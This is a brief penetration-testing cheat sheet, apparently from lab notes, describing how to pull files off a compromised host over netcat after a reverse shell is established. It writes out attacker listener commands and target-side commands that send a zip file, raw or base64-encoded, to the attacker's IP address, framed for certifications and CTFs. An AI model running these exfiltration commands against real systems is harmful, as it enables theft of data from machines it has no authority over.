NC

this method is used once a netcat reverse shell is established. this method is not recommended as it exposes the attacker's ip addresses. only use this method on certifications and ctfs.

UPLOAD

METHOD 1: NO ENCODING

root@oco:~$ nc -nlvp 31337 > personal.zip
 ...
 
root@target:~$ which nc
root@target:~$ nc 10.10.14.41 31337 < ~/personal.zip

root@oco:~$ ls -la
 -rw-r--r--  1 htb-ac-53539 htb-ac-53539    1855 Jun 22 20:56 personal.zip

METHOD 2: W/ ENCODING

root@oco:~$ nc -lvnp 4446 | base64 -d > personal.zip
 ...
 
root@target:~$ base64 ~/personal.zip | nc 10.10.14.41 4446

root@oco:~$ ls -la
 -rw-r--r--  1 htb-ac-53539 htb-ac-53539    1855 Jun 22 21:08 personal.zip

Last updated